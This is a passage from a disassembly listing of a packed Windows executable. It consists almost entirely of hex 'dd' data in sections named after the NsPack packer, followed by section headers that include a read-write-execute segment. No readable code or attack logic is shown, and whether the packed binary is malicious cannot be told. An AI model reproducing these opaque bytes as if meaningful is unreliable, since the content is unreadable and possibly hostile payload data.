0D87038E1h dd 4BB92D29h, 36E04583h, 31EFF45Dh, 0D91892D3h, 1B2CD005h dd 3128A3AEh, 4F40B3D7h, 1874B02Dh, 0E8BF60B6h, 3D44D800h dd 2025585Eh, 2E0857CAh, 994B46FEh, 80341B65h, 0BB549256h dd 163F0782h, 8492A9FCh, 7EEBD90Eh, 4D1BFB55h, 8C39CD0Eh dd 7BAF1F47h, 497EAC3Fh, 3BF9C739h, 0CD481817h, 5B785A84h dd 0F4F56C91h, 78C4DD80h, 468AD3B3h, 921EAC91h, 0AE4F9359h dd 5A1869DAh, 9A92B903h, 3F8CD37Ah, 0E9AA1413h, 0E31C8C21h dd 0E178EB32h, 2DCDB215h, 0E1E80E21h, 0EB209754h, 33643728h dd 6DCFE742h, 0DB76DC4Dh, 6DCC6E5Eh, 81EF4620h, 0B6164D66h dd 0FFE754E0h, 1B7A325h, 9983CFC6h, 1DD090F0h, 73E5290Fh dd 0CD5AAC86h, 350D1F40h, 595AE2D5h, 6927B586h, 0A85B7B3Ch dd 2211A67Ch, 3E48B850h, 80BB3A1Dh, 725A1F84h, 2974FF34h dd 0D86C9F4Ch, 0B001C054h, 6DD96886h, 0DB0C56A9h, 14AC3C5Bh dd 0AC2DC035h, 9DCF893Dh, 61461B83h, 0C64CE105h, 0EA771D99h dd 5F120091h, 309C613h, 84BCD4EAh, 89AC3EFEh, 6FB2EFE9h dd 32491BA7h, 73BC410h, 0E5E727A2h, 0A4F690E4h, 49F8ABAAh dd 180D9BE0h, 60A808A1h, 0D694D5C8h, 0F98DF1Ah, 5DDAA890h dd 7E76730Bh, 9993EF00h, 863266A8h, 0A9941A90h, 23ADC929h dd 0B9B1DE5Eh, 0ABCCFC17h, 6F35147Fh, 492BE1EEh, 0C5AEBEFCh dd 7A8C678Ch, 36F1BBC2h, 1EE97CC0h, 9C7C807Fh, 0C5EB86D9h dd 0C058379Ch, 1C275E3Ah, 0A9C64AE1h, 13163F05h, 0DA9D06E1h dd 0A2861DE4h, 2FAE16EFh, 77F864BCh, 0AA245DDAh, 0DA85DA79h dd 5A8D343h, 30D17F2Dh, 0DB798D4Ah, 0A53D4D2Dh, 987DC90h dd 26C7263Dh, 8FBBD3D4h, 76F9CF2Fh, 47FD93EFh, 0B348217Dh dd 0B969B23Bh, 52A8B04h, 0C65C50E8h, 61C24CB0h, 5CC3355Eh dd 8C7F32B2h, 4A41A3C2h, 39062EF8h, 0C6E5CF33h, 21D13C04h dd 0D7B03070h, 0A7303749h, 0D8EB25C1h, 3DDAEBAFh, 33775845h dd 0DE52461Ah, 7706287Ah, 74A0868Ch, 0B060603Bh, 8CF302D6h dd 0A83C013Fh, 7D5EC9DAh, 0A9968E00h, 1CA4C272h, 86BEE20Ch dd 0F159A9F4h, 9EA083A5h, 0CD1B8024h, 2656D8D1h, 0AC0B57B9h dd 0CEC3021Ch, 0A6B798BDh, 622E85E1h, 10FA194h, 6A02A0F7h dd 5BFB1DA7h, 74963C82h, 4EF57B6Bh, 127143BCh, 0F7AD3BD4h dd 8BB99D19h, 1E53F9EAh, 6676542h, 0E94A4F2Fh, 0AFC015FCh dd 821FFF02h, 0F9C8E477h, 1206AF4Eh, 0E18D394Fh, 12DF42D1h dd 515FABBAh, 0D349F0C7h, 2084C55Dh, 0C62A65FDh, 9968B03Bh dd 971F18AAh, 86E69FADh, 58CC9C10h, 0B56CED63h, 8B4A6FB8h dd 8EF894C5h, 3593C1Ch, 62DD9245h, 0E0C16ED9h, 0B7428BE6h dd 0DEF3C6CEh, 0E25D9C9Bh, 0EDFC1590h, 4E1D2BBh, 6C544F4Eh dd 0EF78FB33h, 0D671B1F5h, 0A8ACC759h, 0C9BBF3FAh, 47409272h dd 909AE4A3h, 86415A46h, 83BFE7DCh, 6BD7205h, 0FD88B96Fh dd 0E5DFD38Fh, 8D85D88Bh, 0ACE937ACh, 0B89440DCh, 82E7F620h dd 8F7BA409h, 630D17A0h, 0AB7FA0A8h, 0B9EE22EFh, 130CEAF3h dd 3E99EA03h, 28DFA07Fh, 14C0E156h, 0B8F4AEB3h, 0DBADF3B1h dd 32547EB4h, 0ACC575F5h, 0D0F885E2h, 64DC4AC3h, 9D8F3E26h dd 7B5E1FEBh, 0C4A58905h, 8316EEFh, 7439D358h, 34FDD854h dd 0B59FDDE7h, 0E05E8EC3h, 0BFB1BAECh, 552743E9h, 0EEBD7892h dd 43E376E2h, 6BDFE89Eh, 10C8F37Bh, 142FEF7Ch, 6BDDAE2Ah dd 0A5BCDD54h, 0ECF90522h, 23192669h, 0A2A0B409h, 0DEA65FB6h dd 5003A887h, 2A25E0Ah, 576989A2h, 0F8F6223Ah, 0F4E4AE1Eh dd 9B2D2839h, 0B9DEFE44h, 0C2C3FB4Bh, 73E0DE49h, 1F15C9EAh dd 76E7732Ch, 24852592h, 0C6656200h, 0E96568D9h, 0CDC5B5FEh dd 0A7D71C52h, 0C1AA1F66h, 2EC103D3h, 81B0AA08h, 4380CA90h dd 8DC84E63h, 6659FF03h, 5E0BC836h, 0B2802970h, 0E8D6A37h dd 1285409Fh, 5E4D7710h, 73EA309Ch, 0DE9343DAh, 0DF00FDAh dd 0B7718688h, 0B22C2E74h, 52DCB558h, 9404F42Eh, 0AA84DD6Ah dd 54C1FDC2h, 45EABACCh, 7B7FE427h, 69776650h, 0E5333D8Ch dd 642DBE2Fh, 0CF0E7FE4h, 86A3A1D3h, 9C1D516Ch, 1B2083ADh dd 36CFEA18h, 0FE56E28Dh, 0CB13036Bh, 0F0F10BB8h, 0CDD1B50Fh dd 0B77DD105h, 25B4B109h, 877A8B35h, 3E2B0CECh, 0ACE681FBh dd 0E75115F7h, 65944704h, 68ED43Fh, 40032E59h, 0B78D9FF1h dd 0FFE487A3h, 296E6167h, 0EE19DA0Eh, 0BECB233Bh, 0EE438CB6h dd 77DB9219h, 29D469DCh, 0CE28951h, 46F26B14h, 0A6DC9C39h dd 0E0553562h, 0ABCECE7Fh, 0CA8F1695h, 93D31B17h, 1C698958h dd 4653BCB9h, 18BBEFBEh, 10EADD18h, 28BA711Fh, 0D2F8E262h dd 0C03D9875h, 84FF572Ch, 0F85F6E8Bh, 692ADC7Fh, 9759DCB0h dd 0E8AAAF21h, 0B81037D3h, 6B4D19BAh, 9CA04FA8h, 345EC741h dd 9015141Ch, 0E7531BD5h, 19266960h, 6BD6B146h, 12F3708Ah dd 0FB2F6DFBh, 118F4660h, 2083F93Fh, 0CEECF555h, 0D9F1EFA9h dd 0C23E28CBh, 5C43ADA3h, 0CC6016A0h, 31DE4CAAh, 0CBD2C192h dd 0E082C3BFh, 0D06CCEC1h, 24FE4B27h, 54F63Dh, 0C12694B1h dd 0D443F405h, 0B0DFD98Fh, 0F63290ACh, 0A21E81F1h, 3FB9798Bh dd 0CE3DEC55h, 722D5CBAh, 6705E74Ah, 0CA28F8CAh, 553093F5h dd 578308D7h, 0A49DB9C6h, 0F01B4489h, 7AABEC5h, 1CC3549Bh dd 2CB0C079h, 9BEA1087h, 0D58EE55Fh, 0ABA6D25Fh, 21EEA0E6h dd 475617AAh, 0D3F7F5FAh, 40CC0605h, 67BB03B1h, 2DB47C11h dd 0D1D0F42h, 0C40A9461h, 38970021h, 0FC2D792Bh, 0E532D639h dd 323CD36Fh, 9414F9D5h, 20E6A797h, 0EDA75C5Ah, 0AC87963Ah dd 63742984h, 0DD993AC8h, 0B37B027Dh, 0F58F61A5h, 952C18E6h dd 20A1C3C7h, 78303D6Fh dd 0DB66C289h, 0C9CE7D2Dh, 0F49273E2h, 0E8D0CE7Bh, 6082D20Fh dd 4554AF87h, 218000FEh, 3F08E3A0h, 0C1BB7900h, 6EBDE53h dd 0BAB5CB33h, 6BEF82DCh, 0FF131398h, 0BBEB85CCh, 74AAC0D3h dd 438D076Dh, 945CE5CAh, 56438A06h, 0AE435062h, 0FA00B907h dd 0E3B1B828h, 65E2C93Ch, 3FA32287h, 5577EFFCh, 0F4B6F744h dd 93C8E672h, 159FF6F3h, 38A14A34h, 879BD820h, 8481E58Dh dd 264B0AD5h, 91286100h, 0CC6B98ABh, 0D3366119h, 242194FEh dd 0C64DCA1Fh, 0BE1B439Eh, 93925115h, 1081C681h, 0B9AF3B20h dd 40048773h, 0BDEE5D7Ch, 3DF245A7h, 0CACFAC04h, 0ED86146Bh dd 968EB07Fh, 0D493890Dh, 78F3B9D3h, 0F7333203h, 6687DADCh dd 2E24D805h, 0C80C90E2h, 5A3F6E87h, 89A058ECh, 0DE777F00h dd 3EA93FD7h, 50D56765h, 97553F1Bh, 90C7DC7Eh, 0F3496A4Bh dd 0CE9A1155h, 70BFA639h, 5443EDBBh, 431D7DB5h, 7B1CCBECh dd 0CF53E3AAh, 33013A6h, 49AF21B4h, 2EDDD2C9h, 70210D82h dd 0E669660Dh, 0CA31A5CBh, 0BB2B3E23h, 910259D7h, 0BB08ECF3h dd 82E9143Dh, 3B705A17h, 92EBF528h, 0F0B46A5Eh, 14FC6E4Eh dd 38B62F38h, 48277738h, 8B1FB0Ah, 343DC666h, 28E05AE5h dd 7CDC4197h, 0B7AF4D86h, 479A2B7Eh, 4AB04EAh, 0BEF72272h dd 61AC5122h, 696C7622h, 628F06B1h, 62E04547h, 0C5A63A73h dd 0C63FA22Fh, 0B54DD52Ch, 0DC13B704h, 1389A598h, 6DAAF858h dd 0D20CFBDCh, 0C465003h, 0F9541AD1h, 570477Eh, 42256E3Ah dd 480F5ABBh, 3FB46950h, 5C9D5ED3h, 0F8372F48h, 0D8FAC939h dd 0F5F6F81Dh, 0B65E9524h, 0D53B7C81h, 6CB48239h, 4417939Eh dd 3E57E3h, 8E87B145h, 0EE406072h, 5D2FC494h, 19F1C54Ah dd 0D665DD60h, 0E355D838h, 4E6327DEh, 0A0977665h, 1042300Eh dd 0E476C3B1h, 3C50EAA6h, 0A0DC9C1Eh, 0CD59DF07h, 187916BAh dd 1976907Eh, 0C831D4CBh, 6129647h, 0B4357A4Fh, 0C0F7E3AEh dd 11D5EC75h, 71BDEE24h, 0BC957BC1h, 24709ECDh, 0CDED1FE8h dd 8CF1E9E2h, 0B29FAD75h, 8F1F811Bh, 17919D85h, 8CF00B7Ch dd 988B7BC5h, 0A137E990h, 0FC27E88Bh, 2052B831h, 1ACE9A3Bh dd 85E82ACh, 99B400D8h, 34FF7552h, 0A47088C6h, 30EAFD00h dd 0D6E19562h, 2A35508Dh, 883AE776h, 29AB3294h, 91EB07AEh dd 428238C9h, 0EB7918BDh, 60073D27h, 18DFE2C1h, 3C9285C2h dd 9D3AFE8Eh, 8EC85F79h, 44DCA0E4h, 2DE9D542h, 9E7580CBh dd 1E6A42A2h, 3A282D76h, 24D4BD05h, 0CBF9A8DDh, 0E1A57A1Dh dd 0E5B7F014h, 96D0AE2Ah, 1B2AA325h, 0D7B9AE2Ch, 3B7F1311h dd 0D582E32Dh, 0CED55585h, 3E69758h, 81B94E6Eh, 3F5E00E7h dd 0BAB51A38h, 70A1DE46h, 9EC9CE66h, 0F683CD8h, 5582AD97h dd 0C6E16B45h, 64C71FEAh, 11F07B57h, 0C80121FDh, 32388CA1h dd 2EBCE58Eh, 1780292Fh, 58C98B84h, 5DCE0BF3h, 0A94D3F50h dd 264ECC79h, 0F553EB76h, 0EE95C03Eh, 0FD201517h, 2BF36C0Ah dd 4D79B376h, 0C8016D9Ch, 0FF1C8356h, 45CB892Dh, 6F8F7765h dd 580359BDh, 0CAB5ED53h, 2B53D2B1h, 32248045h, 9AFCDE12h dd 3E5C3E8Bh, 6020F333h, 0E3DF5C96h, 44FA22DCh, 0DA196302h dd 0E9084A63h, 689B09A4h, 76CBBCC3h, 57114CCDh, 0E181AFDBh dd 9C65BDC1h, 47FADBCFh, 3589780h, 1CE74E57h, 27296ACCh dd 5F2BB2CAh, 5903D10h, 7CA3C08Ah, 3FBC85EDh, 34C7EE21h dd 98202600h, 8C238957h, 0CE0ABAADh, 418BCED6h, 26EE6378h dd 0D12E0D23h, 0A13E7760h, 28D8E2B6h, 0CF091F8Fh, 919023A3h dd 0D2EBF586h, 0E20FCFFBh, 4B16BFEDh, 99C3B6BCh, 0E540379Ch dd 1B467B4Bh, 0AADEFD27h, 0E4759189h, 0B6061B8Ch, 1E921A34h dd 99069435h, 3AB94BC3h, 0DB42785Bh, 56DB7173h, 4B7BD924h dd 2DB5A482h, 0C42DB2D2h, 92F3C742h, 54C97459h, 93919EEBh dd 0D4872551h, 5C2A41A1h, 681955DAh, 7E4E49A5h, 15B6C64Dh dd 68FE9B23h, 0CF00355Ch, 5480A00Ah, 8E5F33C3h, 5927251Ch dd 298C898Dh, 37C3D154h, 9B1F83F9h, 39672E89h, 36B37339h dd 628C775Eh, 2EF8698Eh, 0E501CFFh, 27D826E0h, 54CA2CDFh dd 351704Ch, 0F2919109h, 4DAB7B40h, 7EBAA391h, 4686D555h dd 60DD80A4h, 670A3566h, 0A41FB4FDh, 0FEE3B79Ch, 1286FB67h dd 5C996875h, 0F5B5C76Fh, 45B0B6BDh, 28421981h, 0E0004476h dd 0E38EBC0Eh, 7C5A0C9Ch, 5016CC86h, 95307D3Ah, 33164190h dd 0D14AE57Ah, 0F223B1A0h, 5426DD72h, 929107AEh, 0F95F4E9Ah dd 4DB4E3D2h, 4C153E1h, 0C42C19B1h, 623578D0h, 0CD4E3143h dd 5FE37B90h, 3CE70EF6h, 2A6A17Eh, 0BAE650D3h, 86AF7547h dd 6E840F06h, 54F45A34h, 0B889ED84h, 90F56A9Bh, 0A03B37B2h dd 6041B247h, 0C3C72C9Ah, 5FE0939Dh, 6777F842h, 718CB62h dd 0F1F28F27h, 62802C74h, 627BD60Bh, 0BB0C4050h, 8DD783Eh dd 0D5FF265Ch, 553C887Fh, 2ADB1525h, 8790F589h, 0C4155F4Ch dd 0D4D808BDh, 0E604BE9h, 97D84A84h, 1C02C99Dh, 13777D73h dd 0BC2BC296h, 0E1514476h, 1CDF2BCh, 0EA06EB5Fh, 0B4338BC4h dd 2B55B511h, 1FC8B8A9h, 0C8C3190Ah, 6F9BB2A8h, 3EF540F4h dd 0F37FE4F8h, 9415B2B2h, 0E0F1565h, 0CB7409E4h, 642DC2FCh dd 0F807FC0Dh, 8B788C3Bh, 0F6A7C10Eh, 53083892h, 0E975F2D7h dd 818024Eh, 28D9AC8Ah, 0BBCE3244h, 96324036h, 307F7593h dd 0BB186992h, 79593A4h, 0EACF381Dh, 9BE41007h, 5C6E291Eh dd 73071E10h, 0C4963022h, 33164BAh, 0CA3055Dh, 20821564h dd 874BA94Ah, 47D5E62h, 176824Ah, 92225296h, 18745FA7h dd 69A18B87h, 47959913h, 34F8BC61h, 10C988F6h, 7368469h dd 0FE2E7DC0h, 0C98C5186h, 0A1CB6BEBh, 0AFA927CBh, 5991C8Eh dd 0DE191DCBh, 401593EFh, 0ECFD05C6h, 8BE5E188h, 216D6ECDh dd 0DE95BF4Dh, 15019126h, 0DC0B8A4Fh, 0D0ED481Dh, 9E14D081h dd 53901AD8h, 86E68655h, 64E8A552h, 0F2B35D23h, 0E0886963h dd 8812B838h, 0BD600A0Fh, 405F7ADh, 0E252E814h, 0B51CC19Bh dd 0C4102DCBh, 48952192h, 0F800DBA0h, 91806738h, 8D37A87Ah dd 88B9F239h, 6A3CE91Ah, 9F30146h, 41E38DDCh, 0A5B091E7h dd 0AA519556h, 1096F7FDh, 0DE9C9D3Eh, 0D123900Ch, 1DE270D5h dd 0E3C748F3h, 2E74753Bh, 9DDCD8F0h, 24A7457Ah, 2D4FD214h dd 7168AC4Ch, 0AEA65DD0h, 0D5419206h, 73AC530Bh, 4F213319h dd 0FC4DEE2Fh, 0A5757823h, 0D94255B7h, 0BFE2BB5Fh, 73F514B2h dd 9796C10Bh, 9C47AFBBh, 0A04A1AEBh, 0AF20F824h, 3128CCBFh dd 0BF98F3C5h, 0CC0E1EAAh, 57B861D4h, 93A47E2h, 0F556D31Ch dd 0A7427F5Ah, 1F82B725h, 9B2F5CFAh, 935149E8h, 25BAB8AFh dd 0CBAC7FC4h, 5CDB7180h, 0DB7973B8h, 5753BB6Fh, 0B6BCEF94h dd 1CEC8EE9h, 0EF73E2DFh, 8875BA7Eh, 0CAFE3086h, 8A2F84F0h dd 6C0A155Fh, 741F3BA7h, 5EDE8957h, 1D3EEE1Dh, 5C21F337h dd 0DBA0BE71h, 9C948940h, 0ECA4B2EDh, 0C17CA3EFh, 0F2EE1242h dd 0BCCD630Ah, 0AB9FFAB9h, 40DFD42Eh, 26825F5Dh, 0E10A9132h dd 8B80EC66h, 4DA1354Fh, 94A51E19h, 4A533C39h, 51A6962Eh dd 0E46DCAC7h, 0C9BD9BDDh, 0E61480EBh, 0A56BC11Eh, 31FD01E9h dd 0D6034386h, 0A9DB1434h, 89D28DC0h, 699B63A9h, 56344DA5h dd 0C32C2037h, 0F7C3CFAh, 0FD71B327h, 2A88BEB1h, 0B3BD38AEh dd 5FD55024h, 1CAF424Dh, 0F719374Ah, 6CD90157h, 0AD3C45A7h dd 0F26DE7D1h, 39EF6321h dd 0B8A0ED9Fh, 6BF5E191h, 6881D506h, 7A54FF4Eh, 3BFF08A0h dd 0B8CC9D4Bh, 8F74C7CBh, 5FBDCA06h, 1C8F213Eh, 19E31D77h dd 0D018B968h, 0C5D4E217h, 0AEAA81BAh, 5C3B4D24h, 38205BD4h dd 0C3120E10h, 238DE8F9h, 13BC8558h, 0D7558326h, 89F3D4A8h dd 2FC8FE6Bh, 0A659846Ah, 7856FFCh, 59922EDCh, 485E8F0h dd 834143D4h, 0ACCD77F0h, 71ECF835h, 2C7243E4h, 205D3904h dd 3780BE28h, 0C8D55CA9h, 1E947F2Eh, 10B06991h, 9B413AD2h dd 0AF796B93h, 787B98C6h, 7389563Eh, 37A698DCh, 0B7FC23FBh dd 0E7003319h, 0AF80AFDh, 0E2BD95D7h, 28D32586h, 331BC5E5h dd 0BE25E0C3h, 0FFF6B5DFh, 86E4EC0Dh, 8A6560F3h, 4FBB5DE7h dd 0EA788E0h, 0A63DAE6Fh, 0AD601B21h, 83BF090Fh, 1A849767h dd 81DDE5F0h, 0DB9BF996h, 45AB9E8Fh, 0B851392h, 898D394Ch dd 72C5E011h, 2D3FE1FAh, 0BBD9F819h, 616F9046h, 0C5CF6B76h dd 6A77262Fh, 20967295h, 0E5D2C231h, 8C71A1E0h, 3C1A4010h dd 8556310Dh, 248CEE38h, 0C62DD398h, 4F99F06Ch, 0A094A250h dd 6FC46B4Bh, 17FCA58Ch, 654920B4h, 0F213FCEDh, 0FD5F9E1Bh dd 0B8FA1B80h, 735AD9DFh, 0B2C85BE4h, 72A4FE0Dh, 0BB909026h dd 14CF3C2Bh, 7CD3769Ch, 232953F8h, 0F39D7305h, 4EC11DF3h dd 7A16BC16h, 3BD20A7Dh, 0D1BE92h, 155A47F6h, 0E4C0A2CAh dd 8EED4228h, 0F9FF6DF6h, 7666990Ah, 13C1E6E3h, 0A7A71F21h dd 0A5D4A66Ah, 7341B69Ah, 8EED35A4h, 0EA625465h, 0F07AE93Eh dd 0AA7EAEF6h, 0CF7A8F20h, 2AE27B01h, 2FD28202h, 63765666h dd 860EAA79h, 0C345153Ch, 23B795CDh, 0D8202851h, 0ABFF941Ch dd 1000FBBFh, 0C9360626h, 0F2C33386h, 0F3B38BF4h, 6EA6D29Dh dd 24F0A328h, 119041C0h, 0DCA5B98Ah, 9CCDB01Ch, 0B269E5CBh dd 0BE339B7Ah, 0F190BDD9h, 0B267E481h, 0EFF18907h, 249CE5CBh dd 0F44B9DE0h, 0FD5060Fh, 2523F124h, 23267402h, 0CA9E5A2Dh dd 0A3992BAAh, 6AF8B6FDh, 0F7C7AAD8h, 5AB76AFBh, 361AD527h dd 97E234AFh, 16B4159Eh, 82D2A14Bh, 8C74E736h, 4A1AEDCEh dd 91F82571h, 12FD8F67h, 0E3F2872Ch, 0F80201D1h, 0E23E19BFh dd 0EB76319Bh, 0DDDC7FB7h, 6957169Bh, 4ADDB7D0h, 4CF8D219h dd 870CDECCh, 0B9C23DB9h, 0BE08AF4Eh, 3299B821h, 149C2418h dd 2DF4EBFAh, 9078FABBh, 48EC6D93h, 1D41C6FDh, 54ED7F65h dd 2DBA572Eh, 0BE126BCh, 1BD5859h, 0A31FA31Ah, 91A00C9Dh dd 45D4376h, 0D117B752h, 762BFC2Dh, 0B3E1A445h, 2349BE4h dd 0E594EE72h, 0C7A79B70h, 601706D6h, 0C018BE64h, 95CD27A8h dd 0F4D6FD81h, 0FCB60750h, 40B0B870h, 0A82A9DF2h, 6F4961FAh dd 0D539DB5Ah, 0D2391DBDh, 0FC95C1E1h, 53C5E903h, 2366C995h dd 3DA8694Eh, 433B5B38h, 0E2FE6E52h, 392F0522h, 3F9A9A1Fh dd 15AC5794h, 0D5831102h, 14782BB5h, 88E8CC35h, 93960E58h dd 0F132133Ch, 971D1D7Eh, 9A563F4Eh, 0F5B8FB19h, 2E83B821h dd 555FFA7Fh, 66F73B70h, 67C44C2h, 0E94C9B89h, 3CEBD4E5h dd 0E93C1779h, 8C46C85Fh, 2669A2D2h, 0D842620Bh, 0AB993EA6h dd 4C5F9E9Ah, 0FADF730Dh, 3CC04FDBh, 0A3807EF2h, 5AC60F83h dd 0FA2BA4B7h, 0E1AE7331h, 38252249h, 2B6D747Ch, 0C395A1D7h dd 0FFDF824Eh, 0D50675B7h, 72C3A2FAh, 60D36F32h, 0B64A53A0h dd 0B15367E1h, 8E2DAFCAh, 0C531FBE9h, 8C29D6EBh, 0A5A87ECh dd 5BE59726h, 0CCE3BFA6h, 0A24F3CADh, 55C80554h, 0CD9347EEh dd 0F5B302C5h, 0C93D1635h, 45538D69h, 0F8AE3D57h, 9364A079h dd 1C523A56h, 737472Eh, 123FEC4Ch, 416EED78h, 0F1E2E9CBh dd 17EC1969h, 329B2142h, 9BF341D0h, 6A05DB32h, 87C30634h dd 39EF63C3h, 0B8A0ED9Fh, 6BF5E191h, 6881D506h, 7A54FF4Eh dd 3BFF08A0h, 0B8CC9D4Bh, 8F74C7CBh, 5FBDCA06h, 1C8F213Eh dd 19E31D77h, 0D018B968h, 0C5D4E217h, 0AEAA81BAh, 5C3B4D24h dd 38205BD4h, 0C3120E10h, 238DE8F9h, 13BC8558h, 0D7558326h dd 89F3D4A8h, 2FC8FE6Bh, 0A659846Ah, 7856FFCh, 59922EDCh dd 485E8F0h, 834143D4h, 0ACCD77F0h, 71ECF835h, 2C7243E4h dd 205D3904h, 3780BE28h, 0C8D55CA9h, 1E947F2Eh, 10B06991h dd 9B413AD2h, 0AF796B93h, 787B98C6h, 7389563Eh, 37A698DCh dd 0B7FC23FBh, 0E7003319h, 0AF80AFDh, 0E2BD95D7h, 28D32586h dd 331BC5E5h, 0BE25E0C3h, 0FFF6B5DFh, 86E4EC0Dh, 8A6560F3h dd 4FBB5DE7h, 0EA788E0h, 0A63DAE6Fh, 0AD601B21h, 83BF090Fh dd 1A849767h, 81DDE5F0h, 0DB9BF996h, 45AB9E8Fh, 0B851392h dd 898D394Ch, 72C5E011h, 2D3FE1FAh, 0BBD9F819h, 616F9046h dd 0C5CF6B76h, 6A77262Fh, 20967295h, 0E5D2C231h, 8C71A1E0h dd 3C1A4010h, 8556310Dh, 248CEE38h, 0C62DD398h, 4F99F06Ch dd 0A094A250h, 6FC46B4Bh, 17FCA58Ch, 654920B4h, 0F213FCEDh dd 0FD5F9E1Bh, 0B8FA1B80h, 735AD9DFh, 0B2C85BE4h, 72A4FE0Dh dd 0BB909026h, 14CF3C2Bh, 7CD3769Ch, 232953F8h, 0F39D7305h dd 4EC11DF3h, 7A16BC16h, 3BD20A7Dh, 0D1BE92h, 155A47F6h dd 0E4C0A2CAh, 8EED4228h, 0F9FF6DF6h, 7666990Ah, 13C1E6E3h dd 0A7A71F21h, 0A5D4A66Ah, 7341B69Ah, 8EED35A4h, 0EA625465h dd 0F07AE93Eh, 200h dup(0) _nsp1 ends ; Section 3. (virtual address 000A4000) ; Virtual size : 000009B2 ( 2482.) ; Section size in file : 000009B2 ( 2482.) ; Offset to raw data for section: 000A4000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp2 segment para public 'CODE' use32 assume cs:_nsp2 ;org 4A4000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 26Ch dup(0) db 2 dup(0) _nsp2 ends ; Section 4. (virtual address 000A5000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000A4A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4A5000h align 2000h _idata2 ends end start